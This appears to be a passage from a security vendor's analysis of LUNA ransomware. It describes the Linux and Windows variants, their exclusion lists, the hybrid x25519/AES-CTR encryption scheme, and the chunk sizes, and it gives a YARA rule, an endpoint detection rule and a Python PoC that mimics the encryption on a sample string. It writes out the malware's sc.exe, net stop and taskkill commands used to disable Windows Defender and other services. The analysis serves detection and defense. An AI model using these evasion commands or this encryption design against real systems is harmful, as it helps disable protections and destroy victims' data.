<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt04e2b406b9760415/6a7c89cbe88c65275f005947/image10.jpg" alt="LUNA functions for Linux" title="LUNA functions for Linux" /></p>
<p>All encrypted files are appended with a <strong>.Luna</strong> extension, i.e. <strong>/etc/passwd.Luna</strong>. If using the <strong>-dir</strong> flag, a <strong>r**</strong> eadme-Luna.txt <strong>ransom note will be created at the root of each encrypted directory as well as subdirectories such as</strong> /etc/readme-Luna.txt <strong>and</strong> /etc/ssl\readme-Luna.txt <strong>. While there are no ransomware notes dropped when encrypting an individual file using the</strong> -file <strong>flag, the encrypted file is still appended with the</strong>.Luna** extension.</p>
<blockquote>
  <p>You may notice the backslash instead of a forward slash in the above full path <strong>/etc/ssl\readme-Luna.txt</strong>. This is an interesting artifact of LUNA hardcoding a **** to append to subdirectories when building the full path for the ransom note. This behavior is expected and would go unnoticed in a Windows environment, but drew our attention when we saw it in Linux. It does not appear to hinder functionality.</p>
</blockquote>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta646b6571f5e96fb/6a7c89cd227b1c2b565927c8/image6.jpg" alt="Hardcoded backslash in LUNA for Linux" title="Hardcoded backslash in LUNA for Linux" /></p>
<p>The ransom note is embedded in the binary in a Base64 format and placed in the root of the targeted directories.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb1f76650716641f7/6a7c89d0e02fac6d705d0619/image19.jpg" alt="LUNA ransom note for Linux" title="LUNA ransom note for Linux" /></p>
<p>The ransom note contains grammatical and spelling errors, listing two ProtonMail email addresses. ProtonMail is an end-to-end encrypted email service based in Switzerland. ProtonMail is popular with privacy-minded individuals and organizations because it uses client-side encryption to protect email content and user data before they are sent to ProtonMail servers.</p>
<p>The phrase “All your files were moved to secure storage” may be either a translation error for “encrypted” or an attempt to trick the victim into believing their data has been encrypted and stolen to later be used for extortion. This could also refer to some operation that is to occur before encryption takes place. There is no network connectivity aspect of this malware.</p>
<p>There is a threat of extortion with the phrase “we can show your real face”, but no extortion site has been observed as other extortion activity groups, like <a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis">CUBA Ransomware</a>, have used.</p>
<h4 id="linuxexclusions">Linux Exclusions</h4>
<p>Our Linux LUNA sample includes functional but largely unnecessary exclusions leftover from the Windows implementation. These checks are performed in the <strong>-dir</strong> execution flow before a file is sent to the <strong>add_file</strong> function for encryption. As an example, see the <strong>.ini</strong> , <strong>.exe</strong> , <strong>.dll</strong> , and <strong>.lnk</strong> extensions and <strong>OpenServer</strong> , <strong>Windows</strong> , <strong>Program Files</strong> , <strong>Recycle.Bin</strong> , <strong>ProgramData</strong> , <strong>AppData</strong> , and the <strong>All Users</strong> directories below. Of note, while the <strong>.Luna</strong> extension is included in the vestigial exclusions, it is present in both Windows and Linux.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt44f18f4e1bef2bac/6a7c89d25967e539b65d763d/image20-2.jpg" alt="Windows File Extension Exclusions within the Linux sample" title="Windows File Extension Exclusions within the Linux sample" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt36d2315e8a19223f/6a7c89d542a11744f495621b/image21-2.jpg" alt="Windows Folder Exclusions in the Linux sample" title="Windows Folder Exclusions in the Linux sample" /></p>
<p>|                           |                                                                      |
| ------------------------- | -------------------------------------------------------------------- |
| File Extension Exclusions | Folder Exclusions                                                    |
| .Luna.ini.exe.dll.lnk     | OpenServerWindowsProgram FilesRecycle.BinProgramDataAppDataAll users |</p>
<p>Linux LUNA checks for Windows file extensions and folders and will not encrypt files with the specified extensions on a Linux victim.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt19428b405b97607d/6a7c89d84c4bfb624fcc79bf/image17.jpg" alt="Folder directory with Windows extensions before execution" title="Folder directory with Windows extensions before execution" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt55cd71807112d454/6a7c89db51156a40042bca19/image5.jpg" alt="Folder directory with Windows extensions after execution" title="Folder directory with Windows extensions after execution" /></p>
<p>The check for the <strong>.Luna</strong> extension is useful in that it prevents re-encrypting an already encrypted file.</p>
<h3 id="windowsexecution">Windows execution</h3>
<p>The Windows sample we found was a more full-featured product that included much of the functionality present in other mature ransomware families. It still includes the <strong>-dir</strong> and <strong>-file</strong> flags, but now if the malware is run without arguments, the Windows LUNA will perform some preliminary defense evasion, file protection preparation, and enumeration measures before entering the <strong>-dir</strong> execution loop. Additionally within the <strong>-dir</strong> execution flow Windows LUNA file and directory exclusions are functional and serve to protect critical system processes from being corrupted by encryption. This is different from what was observed with the Linux LUNA implementation which does not exclude sensitive OS directories or files that can impact system stability.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt09f457e453797478/6a7c89dd73d9bd5cdf297d04/image12.png" alt="LUNA ransomware flow for Windows" title="LUNA ransomware flow for Windows" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf8a66e13693b0725/6a7c89e0437e0f561add5701/image9.jpg" alt="LUNA functions for Windows" title="LUNA functions for Windows" /></p>
<p>LUNA uses service and process termination to de-conflict any files locked by other programs to successfully encrypt them along with disabling security products that may prevent ransomware execution. It does this by leveraging a built-in Rust process builder ( <strong>std::sys::windows::process::Command::new</strong> ) to call three new processes with their own pre-defined command-line arguments.</p>
<ul>
<li>Service Control</li>
<li>Net</li>
<li>TaskKill</li>
</ul>
<h4 id="servicecontrol">Service Control</h4>
<p><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/sc-config">Service Control</a> is a Windows utility used to modify services’ entries in the registry and in the Service Control Manager database. In this case, it’s used to ensure a service that is stopped cannot be restarted and interrupt malware execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt649371c6decd7edb/6a7c89e3e02facc4c85d061f/image4.jpg" alt="Service Control disabling security products" title="Service Control disabling security products" /></p>
<ul>
<li><strong>"C:\WINDOWS\system32\sc.exe" config [service] start=disabled</strong></li>
<li><strong>"C:\WINDOWS\system32\sc.exe"</strong> : Service Control executable</li>
<li><strong>config [service]</strong>: Specifies the service (as an example, WinDefend) that will be modified</li>
<li><strong>start=disabled</strong> : Sets the start type of the service to “disabled”</li>
</ul>
<p>LUNA does not check that a service exists before issuing the service disable command. So it will commonly get <a href="https://docs.microsoft.com/en-us/windows/win32/debug/system-error-codes--1000-1299-#ERROR_SERVICE_DOES_NOT_EXIST">1060 errors</a> to the console indicating that <strong>sc.exe</strong> attempted to modify a service that does not exist.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta1fefff954bff5eb/6a7c89e5437e0f7652dd5705/image22.jpg" alt="Service Control generating code 1060 errors" title="Service Control generating code 1060 errors" /></p>
<p>Our LUNA sample attempts to disable 253 different services. See the Appendix: Windows Services Termination List for the complete list.</p>
<h4 id="net">Net</h4>
<p><a href="https://attack.mitre.org/software/S0039/">Net</a> ( <strong>net.exe</strong> ) is a Windows utility used in command-line operations for the control of users, groups, services, and network connections. In this case, it is used to stop the running services that have already been prevented from restarting by <strong>sc.exe</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt531efd3f9acb28d8/6a7c89e81967ea6cce32a97b/image18.jpg" alt="Net disabling security products" title="Net disabling security products" /></p>
<ul>
<li><strong>"C:\WINDOWS\system32\net.exe" stop [service] /y</strong></li>
<li><strong>"C:\WINDOWS\system32\net.exe"</strong> : Net executable</li>
<li><strong>stop [service]</strong>: Specifies the name of the service (as an example, WinDefend) that will be stopped</li>
<li><strong>/y</strong> : Carries out the command without first prompting to confirm actions</li>
</ul>
<p>Again there are no checks that the service is actually running on the victim machine. For Net, this manifests as <strong>2185</strong> errors printing to the console for each attempt to stop a nonexistent service.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte4be164f51472cdd/6a7c89ebc33f4f1b07d54b70/image13.jpg" alt="Net generating code 2185 errors" title="Net generating code 2185 errors" /></p>
<h4 id="taskkill">TaskKill</h4>
<p><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/taskkill">TaskKill</a> ( <strong>taskkill.exe</strong> ) is a Windows utility used to end a task or process by the process ID or image name. LUNA uses TaskKill to terminate processes by name that could interfere with the malware’s operation by maintaining file access locks on files targeted for encryption.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt805ec244be9eef04/6a7c89ed51156a99ac2bca1d/image11.jpg" alt="TaskKill disabling security products" title="TaskKill disabling security products" /></p>
<ul>
<li><strong>"C:\WINDOWS\system32\taskkill.exe" /im [process name] /f</strong></li>
<li><strong>"C:\WINDOWS\system32\taskkill.exe"</strong> : TaskKill executable</li>
<li><strong>/im [process name]</strong>: Specifies the name of the process (as an example, msmpeng.exe) that will be terminated</li>
<li><strong>/f</strong> : Specifies that processes be forcefully ended</li>
</ul>
<p>Once again, there are no checks that the process is actually running. TaskKill produces “process not found” errors printed to the console for attempts to kill non-existent processes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf19c36d30d63e112/6a7c89f080ee384ad260d231/image3.jpg" alt="TaskKill generating errors codes" title="TaskKill generating errors codes" /></p>
<p>Our sample contained a hardcoded list of 997 processes to kill. See the Appendix: Windows Process Termination List for the complete list.</p>
<h4 id="diskenumeration">Disk enumeration</h4>
<p>Next, Windows LUNA executed with no arguments uses a function called <strong>get_all_drives</strong> to brute-force the enumeration of all the available drives by going through the English alphabet and verifying if the drives are mapped to the machine using Rust library <strong>std::fs::read_dir</strong>. If the volume exists, it will be flagged for encryption at a later stage.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt57181fd1e3ec54b3/6a7c89f3bd2198648e752387/image14.jpg" alt="LUNA identifying volumes for encryption" title="LUNA identifying volumes for encryption" /></p>
<p>All volumes identified are then passed to LUNA’s <strong>walk_dir</strong> function that will drop ransom notes, enumerate subdirectories, and encrypt files similar to the Linux version with the exact same ransomware note.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt616f111418930add/6a7c89f6448e4eb2635bacb5/image8.jpg" alt="LUNA ransom note for Windows" title="LUNA ransom note for Windows" /></p>
<h4 id="windowsexclusions">Windows exclusions</h4>
<p>Unlike the Linux version, however, the Windows LUNA file and folder exclusions are respected to prevent making the targeted machine inoperable or inadvertently stopping encryption prematurely.</p>
<p>|                           |                                                                      |
| ------------------------- | -------------------------------------------------------------------- |
| File Extension Exclusions | Folder Exclusions                                                    |
| .Luna.ini.exe.dll.lnk     | OpenServerWindowsProgram FilesRecycle.BinProgramDataAppDataAll users |</p>
<p>We compared these exclusions with those from our <a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#excluded-directories">CUBA Ransomware Malware Analysis</a> report. LUNA did not include the file extensions <strong>.sys</strong> or <strong>.vbm</strong> , both identified in the CUBA analysis. Also, LUNA excludes all of the <strong>\Program Files</strong> , <strong>\ProgramData</strong> , and <strong>\AppData</strong> directories and subdirectories, which CUBA encrypts - or has narrower exclusions to subfolders. This seems like an overly broad exclusion methodology as it misses some valuable data that would be disruptive if encrypted.</p>
<h2 id="encryptionimplementation">Encryption Implementation</h2>
<p>LUNA uses a multi-step encryption implementation approach designed to make the author’s decryption tool the only known way to recover targeted files.</p>
<h3 id="encryptionprocess">Encryption process</h3>
<p>The malware author generates a public/private key pair before compilation and embeds the public key in the LUNA binary for later use by the malware. The author maintains the private key until the victim has met their demands.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blteaccc4c82f4ef03d/6a7c89f93ce8e26967cef817/image1-8.jpg" alt="Author generates key pair" title="Author generates key pair" /></p>
<blockquote>
  <p>In many cases, ransomware actors generate a new “author’s” key pair for each victim organization.</p>
</blockquote>
<p>Within the <strong>add_file</strong> function, each time LUNA encounters a new file to encrypt, the malware will generate its own public/private key pair associated with that file. It does this by using the open source library <a href="https://github.com/dalek-cryptography/x25519-dalek">x25519-dalek</a> x25519 elliptic curve Diffie-Hellman key exchange with <a href="https://docs.rs/rand/latest/rand/trait.RngCore.html#tymethod.fill_bytes"><strong>RngCore::fill_bytes</strong></a> random number generator used for entropy, which is built into Rust.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9e175481305ccce8/6a7c89fbde23150fc3fd1f2e/image1-3.jpg" alt="LUNA generates key pair" title="LUNA generates key pair" /></p>
<blockquote>
  <p>Elliptic curve (<a href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography">ECC</a>) key generation offers several performance improvements over <a href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)">RSA</a> for equivalent key size. Generally, for a given key size ECC offers greater cryptographic strength and is faster to derive a public key from a private key. This speed improvement helps when a new key pair is generated for every file to be encrypted on a victim machine.</p>
</blockquote>
<p>At this point, there are two sets of public/private keys: the authors and the malware’s.</p>
<p>LUNA will then use the malware-generated private key and the author’s embedded public key to derive an AES key.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4283d603d041bb14/6a7c89fec33f4f7e6fd54b74/image1-4.jpg" alt="LUNA creates AES key" title="LUNA creates AES key" /></p>
<p>Files can then be encrypted by chunk with AES in the counter (CTR) mode and an initialization vector (IV). The hardcoded IV is the string “Luna” padded with zeros to be 16 bytes long as required by the AES-CTR cipher algorithm.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte48a5c3fc4c886de/6a7c8a0073d9bdf255297d0c/image1-5.jpg" alt="LUNA encrypts using the AES key" title="LUNA encrypts using the AES key" /></p>
<blockquote>
  <p><a href="https://en.wikipedia.org/wiki/Initialization_vector">Initialization vectors</a> are broadly used in cryptography to provide input to initialize the state of the cipher algorithm before the plaintext is encrypted. In most other contexts it is randomized and shared with the public key. This randomization provides a similar function to <a href="https://en.wikipedia.org/wiki/Salt_(cryptography)">salt</a> for hashed passwords.</p>
</blockquote>
<p>Using the <strong>std::io::Seek</strong> trait, Rust is able to abstract the OS appropriate <strong>seek</strong> , ie <strong>lseek</strong> for Linux. The malware uses this function to read data from the target file, encrypt it, and write it back to the original file.</p>
<p>LUNA first overwrites the original file with the encrypted content, then appends the malware’s public key created for that file and the string “Luna” as a file marker. The extension <strong>.Luna</strong> is then added to the filename.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7fb855cd8d38c205/6a7c8a0351156a03a22bca23/image15.jpg" alt="Adding .Luna to the filename" title="Adding .Luna to the filename" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2bb2b40cf09ae050/6a7c8a0642a11750c7956221/image1-6.jpg" alt="LUNA public key appended to the encrypted file" title="LUNA public key appended to the encrypted file" /></p>
<p>At this point, the AES and malware’s private keys are no longer needed and must be destroyed so only the author’s private key can be used for decryption.</p>
<p>LUNA then moves to the next file and starts again.</p>
<h3 id="decryptionprocess">Decryption process</h3>
<p>In order to decrypt a file encrypted with this method we need the AES key and the IV. The IV is hardcoded into the malware and already known, however, the AES key is discarded once the file is encrypted. The AES key was initially generated using the malware’s private key and the author’s public key, but the malware’s private key has also been discarded.</p>
<p>While we also have the malware’s public key in the encrypted file itself, the author’s private key is required, in combination with the malware's public key, to derive the AES key. The AES key in combination with the hardcoded IV can then be used to decrypt each encrypted chunk.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd1aa3e2c6f8c5729/6a7c8a0805b7b5592f185b9b/image1-7.jpg" alt="Decryption process" title="Decryption process" /></p>
<p>Below you can see a graphic outlining the encryption and decryption process of the LUNA ransomware.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt33058d30a450036e/6a7c8a0b96b5a6bcae875686/image1.jpg" alt="Encryption/decryption process overview" title="Encryption/decryption process overview" /></p>
<h3 id="chunkencryption">Chunk encryption</h3>
<p>Like many ransomware families, LUNA encrypts files differently based on size. This serves to enhance performance and allows the ransomware to make a larger volume of data unusable in a shorter period of time.</p>
<p>If the file is smaller than <strong>320</strong> kB the entire contents of the file are encrypted using the above-described method. If the file size is between <strong>320</strong> kB and approximately <strong>3</strong> MB then only the first <strong>320</strong> kB will be encrypted. For files larger than approximately <strong>3</strong> MB LUNA will encrypt <strong>320</strong> kB chunks deriving the space between chunks by a byte value calculated at run-time based on the file size.</p>
<h3 id="lunaencryptionpoc">LUNA encryption POC</h3>
<p>If you're interested in trying this out yourself to see the encryption/decryption process in action, check out Elastic's Malware Analysis and Reverse Engineering (MARE) team's Python POC in the LUNA Encryption POC Appendix. This script illustrates the implementation of the LUNA encryption/decryption mechanism.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt07facbaa0631be55/6a7c8a0e42a117049c956225/image16.jpg" alt="LUNA encryption POC" title="LUNA encryption POC" /></p>
<h2 id="summary">Summary</h2>
<p>The samples were nearly identical in their core functionality of the -dir and -file execution paths, the encryption mechanisms utilized, and hard-coded values. Hardcoded value similarities include:</p>
<ul>
<li>Extension exclusion values</li>
<li>Folder exclusion values</li>
<li>Initialization vector</li>
<li>Author’s public key</li>
<li>Ransomware note</li>
</ul>
<p>The most obvious difference between the two LUNA samples we looked at is the enhanced functionality of the Windows PE sample when provided no arguments and the adherence to the extension and folder exclusions for Windows.</p>
<p>There are many differences between the two OS packages; it is probably more convenient to provide a single decryption tool for all endpoints ransomed, irrespective of the OS. A uniform encryption and decryption framework could indicate that the LUNA ransomware is used in a <a href="https://www.trendmicro.com/vinfo/us/security/definition/ransomware-as-a-service-raas">Ransomware-as-a-Service</a> implementation or that LUNA is provided as a kit that can be tailored to specific campaigns.</p>
<p>These differences and similarities lead us to the following assessments of these samples:</p>
<ol>
<li><p>The Windows sample is much more mature than the Linux sample as reflected in the drive enumeration, services disable/stop, process termination, and exclusions employed to enable the malware to be deployed broadly with little detailed knowledge of the victim machines.</p></li>
<li><p>The Linux sample contains vestigial Windows features. The exclusions could be modified to fit some specific Linux distributions, but it could be a challenge to create one list that has broad coverage in the diverse Linux ecosystem.</p></li>
<li><p>The service disable/stop and process terminate lists are very large when compared to other mature ransomware samples. While it does not impede the encryption function of the malware, it generates a tremendous amount of noise that could alert defenders. Calling <strong>sc config [service] start=disabled</strong> and <strong>net stop</strong> 253 times for many services that do not exist, or <strong>taskkill /im</strong> 997 times for processes that do not exist provides an excellent opportunity to interdict ransomware execution before encryption begins. This would be much quieter with prior service and process enumeration, as is common with other ransomware campaigns.</p></li>
<li><p>The Linux sample did not include the safeguards built into the Windows variant. This caused the Linux sample to encrypt files needed to validate entitlements to system files, such as the <strong>sudoers</strong> and <strong>passwd</strong> files. Possibilities, why the Linux sample did not include safeguards :</p></li>
<li><p>the malware authors did not have a firm enough understanding of Linux system files and directories to know what should be excluded;</p></li>
<li><p>a time constraint prevented the completion of a mature Linux sample;</p></li>
<li><p>a lack of widely available ransomware exclusions lists for Linux;</p></li>
<li><p>inclusion of a Linux sample was opportunistic because the sample was developed in Rust, which is cross-platform; or</p></li>
<li><p>Linux capabilities were included as a “selling point” for a Ransomware-as-a-Service offering</p></li>
</ol>
<h2 id="observedadversarytacticsandtechniques">Observed Adversary Tactics and Techniques</h2>
<h3 id="tactics">Tactics</h3>
<p>Using the MITRE ATT&amp;CK® framework, tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0040">Impact</a></li>
</ul>
<h3 id="techniquessubtechniques">Techniques / sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<p>Observed techniques/sub techniques:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1070/">Indicator Removal on Host</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1007/">System Service Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1486">Data Encrypted for Impact</a></li>
</ul>
<h2 id="detections">Detections</h2>
<p>Our detection/protection philosophy regarding ransomware focuses on pre-encryption detection when defenders still have an opportunity to interdict malware execution before data is lost.</p>
<h3 id="yara">YARA</h3>
<p>For LUNA Windows and Linux variants, the <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Ransomware_Luna.yar">YARA rule below</a> detects strings embedded in the malware and byte sequences related to core functionality.</p>
<pre><code>rule Multi_Ransomware_LUNA {
    meta:
        Author = “Elastic Security”
        creation_date = "2022-08-02"
        os = "Linux, Windows"
        arch = "x86"
        category_type = "Ransomware"
        family = "LUNA"
        threat_name = "Multi.Ransomware.LUNA"
        reference_sample = "1cbbf108f44c8f4babde546d26425ca5340dccf878d306b90eb0fbec2f83ab51"
    strings:
        $str_extensions = ".ini.exe.dll.lnk"
        $str_ransomnote_bs64 = "W1dIQVQgSEFQUEVORUQ/XQ0KDQpBbGwgeW91ciBmaWxlcyB3ZXJlIG1vdmVkIHRvIHNlY3VyZSBzdG9yYWdlLg0KTm9ib"
        $str_path = "/home/username/"
        $str_error1 = "Error while writing encrypted data to:"
        $str_error2 = "Error while writing public key to:"
        $str_error3 = "Error while renaming file:"
        $chunk_calculation0 = { 48 8D ?? 00 00 48 F4 48 B9 8B 3D 10 B6 9A 5A B4 36 48 F7 E1 48 }
        $chunk_calculation1 = { 48 C1 EA 12 48 89 D0 48 C1 E0 05 48 29 D0 48 29 D0 48 3D C4 EA 00 00 }
    condition:
        5 of ($str_*) or all of ($chunk_*)
}
</code></pre>
<h3 id="endpointrules">Endpoint rules</h3>
<p>For Windows LUNA there is the opportunity to prevent execution before encryption in the “no arguments” execution flow. As outlined in the previous sections, this execution flow attempts to disable and stop 253 services and terminate 997 processes whether or not they exist on the victim machine.</p>
<p>Our Threat Research And Detection Engineering team (TRADE) tuned and promoted <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_attempt_to_disable_windows_defender_services.toml">a behavioral endpoint rule</a> targeting these pre-encryption environmental preparation TTPs.</p>
<p>The below rule identifies and prevents attempts to disable the Windows Defender services.</p>
<pre><code>query = '''
process where event.action == "start" and
  process.pe.original_file_name : ("net.exe", "sc.exe", "cmd.exe") and
  process.command_line : ("*disabled*", "*stop*") and process.command_line : ("*WdNisSvc*", "*WinDefend*") and
    (process.parent.executable :
                    ("?:\\Windows\\Microsoft.NET\\*",
                     "?:\\Users\\*",
                     "?:\\ProgramData\\*") or
    process.parent.name : ("rundll32.exe", "regsvr32.exe", "wscript.exe", "cscript.exe", "powershell.exe", "mshta.exe"))
'''

optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
</code></pre>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://securelist.com/luna-black-basta-ransomware/106950/">https://securelist.com/LUNA-black-basta-ransomware/106950/</a></li>
<li><a href="https://www.virustotal.com/gui/file/1cbbf108f44c8f4babde546d26425ca5340dccf878d306b90eb0fbec2f83ab51/">https://www.virustotal.com/gui/file/1cbbf108f44c8f4babde546d26425ca5340dccf878d306b90eb0fbec2f83ab51</a></li>
<li><a href="https://www.virustotal.com/gui/file/ad8d568811e05e12cde78f76c3b7cbbde0d20aee5b4e918a3a8d515f5e242bb6">https://www.virustotal.com/gui/file/ad8d568811e05e12cde78f76c3b7cbbde0d20aee5b4e918a3a8d515f5e242bb6</a></li>
</ul>
<h2 id="appendix">Appendix</h2>
<h3 id="lunaencryptionpoc-1">LUNA encryption POC</h3>
<p>We are providing an encryption POC, written in Python, that mimics and visualizes the encryption implementation of the LUNA ransomware.</p>
<p>Note: like LUNA, each time the script is run, the encrypted output will be different because the private keys are generated each time.</p>
<p><strong>Prerequisites:</strong></p>
<ul>
<li>Pyton 3</li>
<li><strong>cryptography</strong> and <strong>termcolor</strong> Python modules</li>
</ul>
<p><strong>Usage:</strong></p>
<ul>
<li>Save the below script as <strong>luna_encryption_poc.py</strong></li>
<li>install the dependencies with <strong>pip install --user cryptography termcolor</strong></li>
<li>execute the script with <strong>python luna_encryption_poc.py</strong></li>
</ul>
<pre><code>from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.asymmetric import x25519

from termcolor import colored

# Malware author generates public key and embeds into malware, keeps private key for decryption later
author_private_key = x25519.X25519PrivateKey.generate()         # Unknown author's priv_key generation method
author_embedded_public_key = author_private_key.public_key()

# Malware generates key pair
malware_private_key = x25519.X25519PrivateKey.generate()
malware_public_key = malware_private_key.public_key()

# Serialization of malware pub_key
malware_public_bytes = malware_public_key.public_bytes(encoding=serialization.Encoding.Raw,
  format=serialization.PublicFormat.Raw)
print("Malware Public Key:  ", colored(malware_public_bytes.hex(), "blue"))

# AES key generated by malware's private key and author's embedded public key
# malware_private_key is discarded after this step and not needed for decryption
shared_key_generated = malware_private_key.exchange(author_embedded_public_key)
print("Generated Shared Key (AES): " + colored(shared_key_generated.hex(), "cyan"))

# Encryption Step with AES + IV null-padded LUNA string
iv = bytearray(b'4c756e6100000000')                             # 'Luna....' 16 bytes sized needed for AES CTR

# AES stream cipher (CTR) created using AES shared key and IV
cipher = Cipher(algorithms.AES(shared_key_generated), modes.CTR(iv))
encryptor = cipher.encryptor()

# String to be encrypted
plaintext = b"You know, for search!"
print("Plaintext: ", colored(plaintext, "green"))
print("Plaintext.hex(): ", colored(plaintext.hex(), "green"))

# Encryption of string using AES stream cipher
ct = encryptor.update(plaintext) + encryptor.finalize()

# Mock encrypted file with cipher text + public bytes + file marker
file_marker = b"Luna"                                           # 0x4c756e61
encrypted_file = ct + malware_public_bytes + file_marker

file_ciphertext = encrypted_file[:-36]
pub_key_from_encrypted_file = encrypted_file[-36:-4]
file_marker_from_encrypted_file = encrypted_file[-4:]

print("Encrypted File contents: \n",
    colored(file_ciphertext.hex(), "red"),
    colored(pub_key_from_encrypted_file.hex(), "blue"),
    colored(file_marker_from_encrypted_file.hex(), "yellow"))
print("\t",
    colored("Encrypted content", "red"), "        ",
    colored("Embedded malware's pub_key", "blue"), "       ",
    colored("Embedded file marker", "yellow"))

# Serialization
malware_public_key_from_file = x25519.X25519PublicKey.from_public_bytes(pub_key_from_encrypted_file)

# AES key derived from author's private key and malware embedded public key
shared_key_derived = author_private_key.exchange(malware_public_key_from_file)
print("Derived Shared Key (AES): ", colored(shared_key_derived.hex(), "cyan"))

# Decryption using derived AES shared key and IV
redo_cipher = Cipher(algorithms.AES(shared_key_derived), modes.CTR(iv))
decryptor = redo_cipher.decryptor()
result = decryptor.update(file_ciphertext) + decryptor.finalize()
print("Decrypted plaintext: ", colored(result, "green"))
</code></pre>
<p>This Python script will display the malware public key, the shared AES key, the plain text as a string, the plain text as a hex value, the encrypted text, and finally decrypt the encrypted text back into the original plain text as a string.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt02d838a69e9c2670/6a7c8a10bdcff03959c3d1d9/image2.jpg" alt="LUNA encryption POC output" title="LUNA encryption POC output" /></p>
<h3 id="windowsservicesterminationlist">Windows services termination list</h3>
<p>|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
